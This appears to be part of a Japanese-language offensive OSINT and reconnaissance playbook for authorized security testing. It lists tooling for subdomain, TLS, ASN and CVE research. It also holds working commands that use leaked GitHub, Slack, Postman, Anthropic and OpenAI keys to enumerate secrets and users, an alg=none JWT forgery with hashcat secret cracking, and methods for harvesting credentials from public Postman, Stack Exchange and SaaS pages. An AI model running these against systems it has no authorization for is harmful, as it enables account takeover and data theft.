curl -sk -m 10 -H "$H" "https://api.github.com/orgs/$ORG/actions/secrets" # requires admin:org
# Per-repo workflow secrets (metadata)
REPO="<orgname/reponame>"
curl -sk -m 10 -H "$H" "https://api.github.com/repos/$REPO/actions/secrets"
Slack トークン — ワークスペースの列挙:
TOKEN="xoxb-..."
H="Authorization: Bearer $TOKEN"
# auth.test already validated
# Identity details
curl -sk -m 10 -H "$H" -X POST "https://slack.com/api/users.identity" | jq .
# What conversations can I see? (sweeping check; respects scope)
curl -sk -m 10 -H "$H" -X POST "https://slack.com/api/conversations.list?types=public_channel,private_channel,mpim,im&limit=200" | jq '.channels[] | {id, name, is_private}'
# Workspace info
curl -sk -m 10 -H "$H" -X POST "https://slack.com/api/team.info" | jq .
# User list (only if scope includes users:read)
curl -sk -m 10 -H "$H" -X POST "https://slack.com/api/users.list?limit=100" | jq '.members[] | {name, real_name, is_admin}'
# DO NOT: chat.postMessage, files.upload, conversations.invite, etc.
JWT — 完全なトリアージワークフロー:
JWT="eyJhbGciOiJIUzI1NiI..."
# Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# Look for: alg (none = critical, HS256/HS384/HS512 = symmetric, RS256/RS512 = asymmetric, ES256 = ECDSA)
# Look for: kid (key ID — possible JKU/X5U injection target)
# Look for: jku, x5u (JKU/X5U values — control these = sign attacker JWTs)
# Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Look for: exp (expired = downgraded), iat, nbf
# Look for: sub, iss, aud (identity disclosure)
# Look for: roles, scopes, permissions (privilege markers)
# Look for: sensitive claims (email, employee ID, SSN, etc.)
# Algorithm-confusion test (RS→HS)
# If alg is RS256, try crafting an HS256 token signed with the public key as secret
# Tools: jwt_tool, jwt-cracker
# Brute-force HS256 secret (if HS256 + short-secret suspicion)
hashcat -m 16500 "$JWT" /path/to/wordlist.txt
# Or: john --format=HMAC-SHA256 jwt-hash.txt --wordlist=...
# Check `none` algorithm bypass
# Re-encode header with alg=none and empty signature; some libraries accept
NEW_JWT=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr -d '=' | tr '/+' '_-')
NEW_JWT="${NEW_JWT}.$(echo "$JWT" | cut -d. -f2)."
# Test against API
Postman PMAK — ワークスペースの列挙:
PMAK="PMAK-..."
H="X-Api-Key: $PMAK"
# /me already done (validation)
curl -sk -m 10 -H "$H" https://api.getpostman.com/me | jq '.user'
# Workspaces
curl -sk -m 10 -H "$H" https://api.getpostman.com/workspaces | jq '.workspaces[] | {id, name, type}'
# Per-workspace collections
WS="<workspace-id>"
curl -sk -m 10 -H "$H" "https://api.getpostman.com/workspaces/$WS" | jq '.workspace.collections[]'
curl -sk -m 10 -H "$H" "https://api.getpostman.com/workspaces/$WS" | jq '.workspace.environments[]'
# Per-collection requests (where the secrets often live)
COL="<collection-id>"
curl -sk -m 10 -H "$H" "https://api.getpostman.com/collections/$COL" | jq '.collection.item[]'
# Run secret catalog over the JSON
# Environments (env vars often contain creds)
ENV="<environment-id>"
curl -sk -m 10 -H "$H" "https://api.getpostman.com/environments/$ENV" | jq '.environment.values[] | {key, value}'
Anthropic API キー — 使用状況の列挙:
KEY="sk-ant-api03-..."
H="x-api-key: $KEY"
A="anthropic-version: 2023-06-01"
# Models accessible
curl -sk -m 10 -H "$H" -H "$A" https://api.anthropic.com/v1/models | jq '.data[] | .id'
# Usage / quota (admin-scoped tokens only):
curl -sk -m 10 -H "$H" -H "$A" https://api.anthropic.com/v1/organizations/usage_report | jq .
# DO NOT: send actual completion requests against organization budget
OpenAI API キー — 使用状況の列挙:
KEY="sk-..."
H="Authorization: Bearer $KEY"
# Models
curl -sk -m 10 -H "$H" https://api.openai.com/v1/models | jq '.data | length'
# Org info (if key has org scope)
curl -sk -m 10 -H "$H" https://api.openai.com/v1/organizations | jq .
# Files / fine-tunes (sometimes contain training data with PII)
curl -sk -m 10 -H "$H" https://api.openai.com/v1/files | jq .
curl -sk -m 10 -H "$H" https://api.openai.com/v1/fine_tuning/jobs | jq .
汎用キー — 出所の列挙:
- キーを使用しているドメインを特定します(JS バンドルのどこにキーが含まれていたか、バンドルはどの URL から配信されているか)。
- 推定したサービスの API ドキュメントを確認します。
- キーが既知の正規表現に一致する場合は、ベンダー固有のスコープ確認方法を調べます。
- サービスが不明な場合は、キーのプレフィックスで GitHub を検索します(
gh search code "<prefix>" --type=code)。 - 検証する前にスコープを特定してください。初回使用時から広範な書き込み権限を持つキーもあります。
24. Postman 公開ワークスペースの横断検索
Postman の公開検索エンドポイントは認証不要で、公開に設定されているすべてのワークスペースをインデックス化しています。
確認済みのエンドポイント形式(2025 年半ば以降):
curl -sk -m 15 \
"https://www.postman.com/_api/ws/proxy" \
-H 'Content-Type: application/json' \
-H 'X-Entity-Team-Id: 0' \
-d '{
"service":"search",
"method":"POST",
"path":"/search-all",
"body":{
"queryIndices":["collaboration.workspace","runtime.collection","runtime.request"],
"queryText":"acme.com",
"size":100,
"from":0,
"clientTraceId":"",
"queryAllIndices":false,
"domain":"public"
}
}' | jq '.data[]'
これは Postman のウェブアプリ経由で内部検索サービスにプロキシします。from(0、100、200、...)でページネーションします。
プロキシの形式が変わった場合(これまでも変更されてきました):Postman のウェブ UI で実際の検索リクエストを調べます。
- ブラウザーで
https://www.postman.com/exploreを開きます。 - DevTools → Network タブを開きます。
- 任意の語句を検索します。
_api/...へのリクエストを見つけ、cURL としてコピーして調整します。
ワークスペースごとの確認:
一致した各ワークスペース ID に対して:
WS_ID="<workspace-id>"
# Workspace metadata (name, description, team, visibility)
curl -sk -m 10 "https://www.postman.com/_api/workspace/$WS_ID" | jq .
# List collections + environments + monitors in workspace
curl -sk -m 10 "https://www.postman.com/_api/workspace/$WS_ID/collection" | jq '.[].id'
curl -sk -m 10 "https://www.postman.com/_api/workspace/$WS_ID/environment" | jq '.[].id'
# Per-collection: full content (requests, headers, scripts, env vars)
COL_ID="<collection-id>"
curl -sk -m 10 "https://www.postman.com/_api/collection/$COL_ID" | jq '.collection.item[]'
所有者のスコアリングに使うシグナル:
- 作成者/チーム名に対象のドメインまたはブランドが含まれる → 強いシグナルです。
- ワークスペース名/説明に対象が含まれる → 強いシグナルです。
- リクエスト URL に
*.target.comが含まれる → 最も強いシグナルです(ワークスペースが対象の API に対して実際に使用されています)。
リクエスト、環境変数、事前リクエストスクリプト、テストスクリプトから抽出したすべてのテキストに、シークレットカタログ(§17)を適用してください。
25. Stack Exchange OSINT 一括調査
Stack Exchange とその姉妹サイトには、開発者が投稿したコードの貼り付けが蓄積されています。その多くに、シークレット、内部ホスト名、独自コードの抜粋が含まれています。
検索対象サイト(シグナルが最も強い 8 サイト):
stackoverflow.com
serverfault.com
dba.stackexchange.com
devops.stackexchange.com
security.stackexchange.com
superuser.com
sharepoint.stackexchange.com
salesforce.stackexchange.com
API:
GET https://api.stackexchange.com/2.3/search/advanced
?site=<site>
&q=<target>
&filter=withbody
&pagesize=100
コードブロック抽出用の正規表現:
<pre><code>([\s\S]*?)</code></pre>
(Stack Exchange ではコードが <pre><code> HTML で囲まれています。)
パイプライン:
- 各サイトで対象名、ブランド、ルートドメインを検索します。
bodyHTML からコードブロックを抽出します。- 各ブロックにシークレットカタログ(§17)を適用します。
- 投稿者のメールアドレス(プロフィールで公開されている場合)を email_osint の調査結果と照合します。これにより、従業員が対象の内部コードを投稿したことを確認できます。
- コードブロックからホスト名を抽出し、
subdomainアセットとして upsert します。
クォータ: Stack Exchange API は、キーなしでは 1 日 30 件、無料キーを使用すると 1 日 10,000 件のリクエストが許可されます。呼び出しごとに 2 秒以上の間隔を空けてください。
26. 公開 SaaS コラボレーションサーフェス
多くの SaaS コラボレーションツールでは公開共有が可能です。検索エンジンと同じように、ドーク検索を実行してください。
インシデント発生率の高いプラットフォーム:
trello.com
notion.so / notion.site
*.atlassian.net (Jira / Confluence)
miro.com
asana.com
clickup.com
airtable.com
ドーク検索のテンプレート:
site:{platform} "{target-keyword}"
検索エンジンアダプター経由で実行します(デフォルトは DDG、Bing/Brave/Yandex/SerpAPI は任意)。§18.7 の分類ロジックを同様に適用します。
よくある検出例:
- 公開 Trello ボードのカードタイトルや添付された設定ファイルに認証情報が含まれている。
- 公開 Notion ページに社内 SOP やコードブロック内の API キー、顧客データが含まれている。
- 公開 Confluence スペースのオンボーディング文書にシード認証情報が含まれている。
- 公開 Miro ボードのアーキテクチャ図から社内ホスト名が判明する。
27. サブドメインの情報源スタック(パッシブ)
「2026 年に実際に役立つデータを返すもの」の実用的なリファレンスです。再現率の高い順に並んでいます。
| Source | Tier | Notes |
|---|---|---|
| crt.sh | 無料 | 証明書由来のサブドメインを調べる際の最良の単一情報源です。ピーク時には頻繁に 502 エラーが発生します。下記のフォールバックチェーンを参照してください。 |
| VirusTotal | フリーミアム | ドメイン → パッシブ DNS 履歴。 |
| AlienVault OTX | 無料 | パッシブ DNS と URL データ。 |
| Shodan | 有料(低価格帯) | domain: フィルターでサブドメインを列挙します。 |
| BinaryEdge | 有料 | Shodan に匹敵します。 |
| FOFA | フリーミアム | 中国側のカバレッジに強みがあります。 |
| ZoomEye | フリーミアム | Shodan に匹敵します。中国に強みがあります。 |
| Netlas | 有料 | 大規模な HTTP/DNS/証明書のピボット調査が可能です。 |
| SecurityTrails | 有料 | パッシブ DNS とアセットの検出。 |
| RapidDNS | 無料 | 公開パッシブ DNS。 |
| Subfinder bundled | 無料 | 30 以上の無料情報源を 1 つの CLI で集約します。 |
| Amass | 無料 | 同等の機能を提供しますが、より網羅的で、時間がかかります。 |
| Recon-ng | 無料 | モジュール式のフレームワークです。多数の無料プロバイダーが組み込まれています。 |
DNS AXFR の機会探索: 検出したすべてのネームサーバーに対し、ゾーン転送を試みます。
dig @<ns-host> <target-domain> AXFR
ほとんどの NS は拒否しますが、拒否しない場合はゾーン全体が開示されます(重大)。
ブルートフォース層: Subfinder/Subbrute で assetnote.io のワードリスト(公開ワードリストの中で最も厳選された情報源)を使用します。
27.0.1 crt.sh がダウン? フォールバックチェーン(順に試してください)
crt.sh は、負荷の高い Postgres の前段にある単一の nginx で稼働しています。ピーク時に 502/503 エラーやタイムアウトが発生するのは日常的です。リトライを繰り返さず、別の方法に切り替えてください。
D="target.example"
# 1. Censys cert search (free 250 queries/month with key) — same data, different infra
censys search "names: ${D}" --index-type certificates --fields names | jq -r '.names[]' | sort -u
# 2. Cert Spotter API (sslmate) — free w/ rate limits
curl -sk "https://api.certspotter.com/v1/issuances?domain=${D}&include_subdomains=true&expand=dns_names" | \
jq -r '.[].dns_names[]' | sort -u
# 3. CertStream archive (Calidog) — historical CT log mirror
curl -sk "https://crt.calidog.io/?q=${D}" | jq -r '.[].name_value' | sort -u
# 4. Subfinder bundled aggregator (uses 30+ sources internally — Chaos, Anubis, BinaryEdge, BufferOver, Censys, CertSpotter, Crobat, Crtsh, DNSDumpster, FOFA, Fullhunt, GitHub, HackerTarget, IntelX, PassiveTotal, Quake, Rapiddns, Shodan, Spyse, ThreatBook, ThreatMiner, URLScan, VirusTotal, WhoisXML, ZoomEye, etc.)
subfinder -d ${D} -all -recursive -silent
# 5. AlienVault OTX — free, no key
curl -sk "https://otx.alienvault.com/api/v1/indicators/domain/${D}/passive_dns" | \
jq -r '.passive_dns[].hostname' | sort -u
# 6. ThreatMiner — free
curl -sk "https://api.threatminer.org/v2/domain.php?q=${D}&rt=5" | jq -r '.results[]'
# 7. URLScan — passive DNS via past scans
curl -sk "https://urlscan.io/api/v1/search/?q=domain:${D}" | \
jq -r '.results[].page.domain' | sort -u
# 8. Anubis-DB / DNSDumpster (HTML scrape, last resort)
curl -sk -A "Mozilla/5.0" "https://anubisdb.com/anubis/subdomains/${D}" | jq -r '.[]'
リトライと Subfinder へのフォールバックに対応した PowerShell crt.sh ラッパー:
function Get-Subs {
param($D)
for ($i=0; $i -lt 3; $i++) {
try {
$r = Invoke-WebRequest -Uri "https://crt.sh/?q=%25.$D&output=json" -UseBasicParsing -TimeoutSec 90 -UserAgent "Mozilla/5.0"
return ($r.Content | ConvertFrom-Json | %{ $_.name_value -split "`n" } | %{ $_.Trim().ToLower() } | ?{ $_ -and $_ -notlike "*@*" -and $_ -notmatch "^\*\." } | Sort -Unique)
} catch {
"crt.sh attempt $($i+1) failed; sleep 5s..." | Out-Host
Start-Sleep -Seconds 5
}
}
"crt.sh down — pivot to Subfinder: subfinder -d $D -all -silent" | Out-Host
return @()
}
27.1 サブドメインとコンテンツのブルートフォースに使うワードリストのソース
| ソース | URL | 備考 |
|---|---|---|
| Assetnote Wordlists | https://wordlists.assetnote.io/ | 厳選されており、定期的に更新されています。サブドメインのトップ N(1k、10k、100k、1M、10M)、CMS/フレームワーク別のコンテンツパス、ベンダー別(AWS、Azure、GitLab など)があります。 |
| SecLists | https://github.com/danielmiessler/SecLists | 膨大なコレクションです。サブドメイン:Discovery/DNS/subdomains-top1million-110000.txt。コンテンツ:Discovery/Web-Content/。 |
| jhaddix all.txt | https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056 | 長年にわたり厳選されているリストです。 |
| OneListForAll | https://github.com/six2dez/OneListForAll | 集約された非常に大規模なリスト(数百万件)です。 |
| dirsearch wordlists | https://github.com/maurosoria/dirsearch | ツールに同梱されています。 |
| raft-large-words.txt | SecLists 内の Discovery/Web-Content/raft-large-words.txt | 実績のあるコンテンツ用ワードリストです。 |
| bo0om wordlist | https://github.com/bo0om/wordlists | ロシア語に対応しています。 |
| commonspeak2 | https://github.com/assetnote/commonspeak2-wordlists | BigQuery のコミットデータから生成されています。 |
| fuzzdb | https://github.com/fuzzdb-project/fuzzdb | ファジング用ペイロードとワードリストです。 |
| PayloadsAllTheThings | https://github.com/swisskyrepo/PayloadsAllTheThings | 脆弱性クラス別のペイロードです(列挙向けというより、後続の作業向けです)。 |
| ターゲットごとのカスタムリスト | n/a | ベストプラクティスは、ターゲット自身のコンテンツからカスタムワードリストを作成することです(公開ウェブサイト、LinkedIn、採用ページからすべての単語を抽出 → 重複を除外 → シードとして使用)。 |
サイズの目安:
- 1万件未満 → サブドメインをすばやくチェックできます(1~2分)。機会に応じた調査や、パッシブ調査の補完に使用します。
- 1万~10万件 → 標準的な深度です(10~30分)。デフォルトのブルートフォースに使用します。
- 10万~100万件 → 徹底的な調査です。ターゲットの価値が高いと分かっている案件で使用します(1~4時間)。
- 100万件超 → 網羅的な調査です。1週間に及ぶ案件に限って使用し、レート制限を想定してください。
ツール:
# Subfinder + brute-force with assetnote 100k
subfinder -d target.example -all -recursive | tee passive.txt
puredns bruteforce assetnote-best-dns-wordlist.txt target.example -r resolvers.txt | tee brute.txt
cat passive.txt brute.txt | sort -u > all-subs.txt
# Content brute-force on alive hosts
ffuf -u "https://target.example/FUZZ" -w raft-large-words.txt -mc 200,301,403 -t 50 -ac
28. インフラストラクチャと攻撃対象領域の OSINT
- Shodan、Censys — インターネット上のデバイスと証明書を検索します。
- GreyNoise — バックグラウンドノイズと標的型スキャンを見分けます。
- SecurityTrails — パッシブ DNS とアセットの探索に使用します。
- SpiderFoot — 自動偵察と相関分析を行います。
- theHarvester — サブドメイン、メール、メタデータを調査します。
- Recon-ng — ウェブ偵察フレームワークです。
- Amass / Subfinder — パッシブなサブドメイン調査に使用します。
- BuiltWith — 技術スタックを列挙します。
- Netlas — 大規模な HTTP/DNS/証明書のピボットに使用します。
- BinaryEdge / FOFA / ZoomEye — Shodan/Censys を補完します。
- RiskIQ PassiveTotal — パッシブ DNS/証明書/ホストのピボットに使用します。
- Spur — IP を検索します。
- Robtex — パッシブ DNS とインフラストラクチャの調査に使用します。
28.1 ASN/BGP とインターネット測定
IP の一括変換 → ASN — 2026年に実際に使える方法:
# Cymru bulk WHOIS (fastest; no rate-limit issues; no key required)
echo -e "begin\nverbose\n8.8.8.8\n1.1.1.1\nend" | nc whois.cymru.com 43
# Or one-shot:
whois -h whois.cymru.com " -v 8.8.8.8"
# RIPEstat (free; CORS-friendly; ~1 req/sec polite limit)
curl -sk "https://stat.ripe.net/data/network-info/data.json?resource=8.8.8.8" | jq '.data'
# bgp.tools per-IP API (free; light rate-limit; requires UA)
curl -sk -A "osint-recon/1.0 ([email protected])" "https://bgp.tools/api/ip/8.8.8.8" | jq .
# IPinfo Lite (free 50k req/month with free key)
curl -sk "https://ipinfo.io/8.8.8.8?token=<key>" | jq .
注意点:
bgpview.ioAPI には、積極的かつ非公開のレート制限(IP あたり約1リクエスト/分)があります。一括処理には適していません。bgp.he.netに公開 API はありません。HTML スクレイピングのみで、壊れやすい方法です。PeeringDBは施設/IX の情報を提供するもので、IP ごとの ASN 検索用ではありません。- 大量の IP(50 件超)を扱う場合は、上記の Cymru 一括形式を使用してください。1つの TCP セッションで数百件の IP を処理できます。
28.2 証明書と CT モニタリング
- crt.sh、Censys Certificates、CertStream(リアルタイム CT WebSocket)、Rapid7 Open Data、Cert Spotter(フリーミアム)。
- **Favicon mmh3 ハッシュ:**ホスト間のインフラをクラスタリングします。共有インフラの発見には、Shodan/Censys の favicon 検索と組み合わせます。
28.3 Web 技術/TLS/フィンガープリンティング
- httpx(ProjectDiscovery) — Wappalyzer 互換の約 600 件のシグネチャ、JARM、favicon mmh3、TLS 証明書 SHA256、セキュリティヘッダー、スクリーンショットに対応しています。数千のホストを一度にプローブするラッパーとして推奨します。
- JARM — TLS ハンドシェイクのハッシュです。サーバー設定ごとに安定しており、クラスタリングに役立ちます。
- 技術の列挙には、Wappalyzer のブラウザー拡張機能または CLI を使用します。
28.4 TLS の詳細監査
証明書の SAN と JARM に加えて、暗号スイート、プロトコル、設定の品質を調査します。
sslyze(最も詳細):
pip install sslyze
sslyze --regular target.example:443
sslyze --json_out=tls.json target.example:443
レポート内容:サポート対象のプロトコル(TLS 1.0/1.1/1.2/1.3)、プロトコルごとの暗号スイート、証明書チェーン、OCSP、鍵情報、robot/heartbleed/lucky13/poodle/freak/logjam/drown/ccs/ticketbleed。
testssl.sh(詳細かつ読みやすい出力):
docker run --rm -ti drwetter/testssl.sh https://target.example
# Or native install: https://github.com/drwetter/testssl.sh
testssl.sh --jsonfile-pretty=tls-report.json target.example:443
nmap スクリプトの代替手段(軽量):
nmap --script ssl-enum-ciphers,ssl-cert -p 443 target.example
次の問題を確認します:
| 問題 | 深刻度 | 確認事項 |
|---|---|---|
| TLS 1.0/1.1 がサポートされている | MEDIUM | 非推奨です。PCI-DSS では TLS 1.0 が禁止されています。 |
| SSL 3.0/2.0 がサポートされている | HIGH | 重大な非推奨プロトコルです。 |
| 弱い暗号(RC4、3DES、CBC モード) | MEDIUM | RC4 = NOMORE 攻撃、3DES = SWEET32。 |
| 匿名 DH | HIGH | 認証がありません。 |
| 本番環境での自己署名証明書 | MEDIUM | 信頼性の問題です。 |
| 期限切れの証明書 | MEDIUM | 運用上および信頼性の問題です。 |
| 有効期間が長すぎる証明書(>397 日) | LOW | 2020 年以降、ブラウザーで警告が表示されます。 |
| 重要なホストを対象とするワイルドカード証明書 | INFO | 秘密鍵が漏えいした場合の運用上のリスクです。 |
| 鍵長が弱い(<2048 RSA、<256 ECDSA) | HIGH | 暗号学的に脆弱です。 |
| Heartbleed(CVE-2014-0160) | CRITICAL | メモリが漏えいします。 |
| ROBOT(CVE-2017-13099) | HIGH | Bleichenbacher 攻撃です。 |
| CCS インジェクション(CVE-2014-0224) | HIGH | OpenSSL 固有です。 |
| Ticketbleed(CVE-2016-9244) | HIGH | F5 固有のメモリ漏えいです。 |
| HSTS が設定されていない(§16.4 で説明) | MEDIUM | ヘッダー監査で確認します。 |
JA3/JA4 の参照データベース:
- ja3er.com — コミュニティがまとめた JA3 からクライアントソフトウェアへのマッピング。
- TLS Fingerprint DB — 研究情報のアグリゲーター。
- サーバー JARM については、Shodan で
ssl.jarm:<hash>を検索して、共有インフラやオリジン候補を特定します(§16.15 を参照)。
28.5 逆引き DNS スイープと IPv6 列挙
対象が IP 範囲(対象の ASN)を保有している場合は、その範囲を列挙します。
逆引き DNS スイープ(スコープ内):
# Single /24
for i in $(seq 1 254); do
IP="203.0.113.$i"
PTR=$(dig +short -x $IP)
[ -n "$PTR" ] && echo "$IP -> $PTR"
done
# Larger range with parallelism
prips 203.0.113.0/22 | xargs -I {} -P 50 sh -c 'PTR=$(dig +short -x {}); [ -n "$PTR" ] && echo "{} -> $PTR"'
Mass DNS を使う方法(大規模な範囲に適しています):
# zdns: install via go install github.com/zmap/zdns/cmd/zdns@latest
prips 203.0.113.0/22 | zdns PTR
バナーのみのスイープ(DNS の往復なし):
# masscan + banner-grab
sudo masscan -p80,443 203.0.113.0/22 --rate=1000 --banners -oX masscan.xml
IPv6 の列挙:
IPv6 では列挙の慣行があまり確立されていません(アドレス空間が膨大なため、総当たりは現実的ではありません)が、AAAA レコードと既知の割り当てプレフィックスは引き続き有用です。
# AAAA records for every discovered subdomain
for sub in $(cat all-subs.txt); do
AAAA=$(dig +short AAAA $sub)
[ -n "$AAAA" ] && echo "$sub -> $AAAA"
done
# IPv6 reverse DNS sweep is generally infeasible (2^64 host bits per subnet)
# Instead: extract IPv6 prefixes from the target's allocations
whois -h whois.cymru.com " -v target.example.com" # gets ASN; then look up prefix
BGP 経路の観測:
- RouteViews —
http://archive.routeviews.org/(無料。過去の BGP ルーティングテーブルのスナップショットを提供)。 - RIPE RIS —
https://ris.ripe.net/(無料。経路コレクターを提供)。 - これらを使って、対象のプレフィックスに対する経路ハイジャックを検出します(防御目的の情報であり、IOC となる場合もあります)。
サードパーティー IP からの逆引き DNS ピボット:
サードパーティーが PTR レコードに対象のドメインを示している場合(例:ホスティングプロバイダーの IP に customer-acme.example.com.hostingprovider.net という PTR が設定されている場合)、同じプロバイダー/データセンター上の隣接する顧客インフラを調査する手掛かりになります。
29. 脅威インテリジェンスと IOC
- ベンダー/CERT のアドバイザリ:CISA/NSA/CSA の共同アドバイザリ、CERT-EU、NCSC-UK、JPCERT/CC、CERT-UA。
- MISP Project と公開 MISP フィード。
- OpenCTI — CTI ナレッジグラフ。
- Malpedia — マルウェアファミリー、YARA、参考情報。
- ThreatFox、URLHaus、SSLBL。
- MalwareBazaar — ハッシュベースのサンプル共有。
- PhishTank、OpenPhish。
29.1 マルウェア解析とサンドボックス
- 静的解析:pefile、FLOSS、capa。
- 類似性:SSDEEP、TLSH。
- サンドボックス:ANY.RUN、Hybrid Analysis、CAPE、Tria.ge。
- インテリジェンス:Intezer(コードの再利用)、VirusTotal — 注意:アップロードしたファイルは公開されます。
- TLS:JA3、JA4。
29.2 脆弱性の優先順位付けデータソース
方法論については、付属のスキル §28 を参照してください。ここでは具体的なデータソースを紹介します。
| ソース | URL | 何が分かるか |
|---|---|---|
| NVD | https://nvd.nist.gov/vuln/search(または API services.nvd.nist.gov/rest/json/cves/2.0) | CVSS v2/v3 スコアを含む、基本的な CVE カタログです。 |
| EPSS | https://www.first.org/epss/(CSV は https://epss.cyentia.com/epss_scores-current.csv.gz) | 今後 30 日以内に悪用される確率(0.0~1.0)です。毎日更新されます。 |
| CISA KEV | https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json | 実環境で悪用されたことが確認されている CVE と、連邦政府機関向けの対応期限です。 |
| ExploitDB | https://www.exploit-db.com/、オフライン DB は searchsploit で利用可能 | POC コードの有無(Metasploit、Python、シェル)です。 |
| Metasploit モジュールカタログ | https://www.rapid7.com/db/modules/(または msfconsole > search cve:CVE-2024-XXXX) | 自動化の可否です。 |
| InTheWild.io | https://inthewild.io/ | コミュニティが情報を集約する「現在悪用中」のトラッカーです。 |
| OpenCVE | https://www.opencve.io/ | タイムライン、ウォッチリスト、アラートです。 |
| Trickest CVE → POC マッピング | https://github.com/trickest/cve | 自動生成された、CVE から公開 POC リポジトリへのリンクです。 |
| GitHub Security Advisories | https://github.com/advisories | 言語別/エコシステム別のアドバイザリです。 |
| MITRE CVE List | https://cve.mitre.org/cve/ | 公式の CVE レジストリです。 |
| VulnDB | https://vulndb.cyberriskanalytics.com/ | 有料の商用エンリッチメントです。 |
| OSV.dev | https://osv.dev/ | オープンソースの脆弱性 DB です。JSON API を利用できます。 |
| Vulncheck KEV | https://vulncheck.com/kev | 拡張版 KEV フィードです(CISA より多くの情報を収録)。 |
| Tenable Research | https://www.tenable.com/research | Tenable による CVE 詳細情報のエンリッチメントです。 |
| Qualys ThreatPROTECT | https://threatprotect.qualys.com/ | Qualys による脅威コンテキストのエンリッチメントです。 |
ワークフロー:
# 1. Get EPSS score for a CVE
curl -sk "https://api.first.org/data/v1/epss?cve=CVE-2024-3400" | jq '.data[0]'
# 2. Check if in CISA KEV
curl -sk https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json | \
jq '.vulnerabilities[] | select(.cveID == "CVE-2024-3400")'
# 3. Check ExploitDB
searchsploit cve 2024-3400
# 4. Check Metasploit
msfconsole -q -x "search cve:2024-3400; exit"
一括での優先順位付け(CVE が N 件含まれる Nuclei スキャンの出力がある場合):
# Extract CVEs from nuclei JSON output
jq -r '.info.classification.["cve-id"][]?' nuclei-results.json | sort -u > cves.txt
# Annotate each with EPSS + KEV
while IFS= read -r CVE; do
EPSS=$(curl -sk "https://api.first.org/data/v1/epss?cve=$CVE" | jq -r '.data[0].epss // "N/A"')
KEV=$(curl -sk https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json | \
jq --arg c "$CVE" '.vulnerabilities[] | select(.cveID == $c) | .vulnerabilityName // empty')
KEV_FLAG=$([ -n "$KEV" ] && echo "KEV" || echo "")
echo "$CVE | EPSS:$EPSS | $KEV_FLAG"
done < cves.txt | sort -t: -k2 -nr
29.3 HackerOne 公開レポートのリファレンス
テスト中にコミュニティで検証された発見を参考にするには、skills/offensive-osint/scripts/h1_reference.py(API キー不要、公開 GraphQL)を使用します。セッション開始時に、対象の技術スタックまたは攻撃の種類に合わせて実行してください。
主なモード:
# Top voted community reports — best validated techniques
python3 skills/offensive-osint/scripts/h1_reference.py --top-voted --limit 25
# Highest bounty reports — business-impact framing reference
python3 skills/offensive-osint/scripts/h1_reference.py --top-bounty --limit 10
# Keyword search across pages (50 results/page)
python3 skills/offensive-osint/scripts/h1_reference.py --top-voted --query "SSRF" --pages 10
python3 skills/offensive-osint/scripts/h1_reference.py --top-voted --query "auth bypass|OAuth|OIDC" --pages 5
python3 skills/offensive-osint/scripts/h1_reference.py --top-voted --query "open redirect" --pages 5
# Filter by severity (client-side)
python3 skills/offensive-osint/scripts/h1_reference.py --top-bounty --severity critical high --pages 3
# Program-specific disclosures (requires program handle)
python3 skills/offensive-osint/scripts/h1_reference.py --program gitlab --pages 5
python3 skills/offensive-osint/scripts/h1_reference.py --lookup-program gitlab # resolve handle → team ID
# JSON output for piping / jq
python3 skills/offensive-osint/scripts/h1_reference.py --top-voted --query "XSS" --pages 5 --json | jq '.[].report.url'
実行するタイミング:
- セッション開始時:
--top-votedでシグナルの高いベースラインを読み込む - 対象の技術スタックを特定した後:
--query "<tech>" --pages 10 - 特定の攻撃クラスを調査する前:
--query "SSRF|XXE|SSTI" --pages 5 - レポート作成時:
--query "<vuln type>" --top-bountyで、深刻度や報奨金が比較可能な事例を探す
H1 GraphQL の既知の制約:
first:の値にかかわらず、1 ページあたりの最大結果数は 50 件です。幅広く取得するには--pagesを使用してくださいdisclosed_atフィールドは、substate フィルターと組み合わせると H1 サーバーでエラーが発生するため、省略されています- sort と substate フィルターの組み合わせでエラーが発生します。スクリプトが自動的に回避します
30. 暗号資産 OSINT
30.1 ブロックチェーンエクスプローラー
| チェーン | エクスプローラー |
|---|---|
| Bitcoin | Blockchain.com、Blockchair |
| Ethereum | Etherscan |
| BNB Chain | BSCScan |
| Polygon PoS | PolygonScan |
| Solana | Solscan |
| マルチチェーン | OKLink(フリーミアム)、Cielo |
30.2 L2/ロールアップのエクスプローラー
| L2 | エクスプローラー | 備考 |
|---|---|---|
| Arbitrum | Arbiscan | オプティミスティックロールアップ。チャレンジ期間は 7 日間です。 |
| Optimism | Optimistic Etherscan | オプティミスティックロールアップ。チャレンジ期間は 7 日間です。 |
| Base | BaseScan | OP Stack。 |
| Blast | Blastscan | OP Stack の派生版。 |
| Scroll | Scrollscan | zkEVM。 |
| zkSync Era | zkSync Era Block Explorer | zkRollup。ファイナリティがより速いです。 |
| Polygon zkEVM | PolygonScan zkEVM | zkEVM。 |
| StarkNet | Voyager、StarkScan | Cairo VM。アドレスの導出方法が異なります。 |
| クロス L2 | L2Beat | リスクフレームワークと TVL の比較。 |
30.3 トランザクション追跡と分析
- Arkham — マルチチェーン、エンティティラベル、グラフ、アラート。
- TRM — アドレス/トランザクションのグラフ。
- MetaSleuth — フローの可視化。
- Breadcrumbs(フリーミアム)— グラフの可視化とラベル。
- Bubblemaps — 保有者の集中度。
- Whale Alert — 大規模トランザクションの監視。
- Chainalysis/Crystal Blockchain — プロ向けの分析。
- GraphSense — オープンソースの暗号資産分析。
- Nansen — Smart Money ラベル(有料)。
- Dune — カスタムクエリ。
- Token Sniffer — ハニーポット/詐欺の検出。
30.4 NFT/取引所/ブリッジ
31. メディアインテリジェンス
31.1 画像の逆検索と顔検索
- Google Images、TinEye、Yandex Images(ロシア/東欧に強い)、PimEyes、FaceCheck。
31.2 画像フォレンジック
31.3 動画分析
31.4 メディア用ブラウザー拡張機能
- Fake News Debunker (InVID & WeVerify)。
- RevEye Reverse Image Search。
- EXIF Viewer Pro。
- Wayback Machine Extension。
- Search by Image。
32. 地理空間インテリジェンス
32.1 衛星画像と地図
- Google Maps、Bing Maps。
- Sentinel Hub EO Browser、NASA Worldview、Zoom Earth。
- Wayback Imagery — 過去の衛星画像。
- NASA FIRMS、Open Infrastructure Map、Windy。
32.2 位置特定ツール
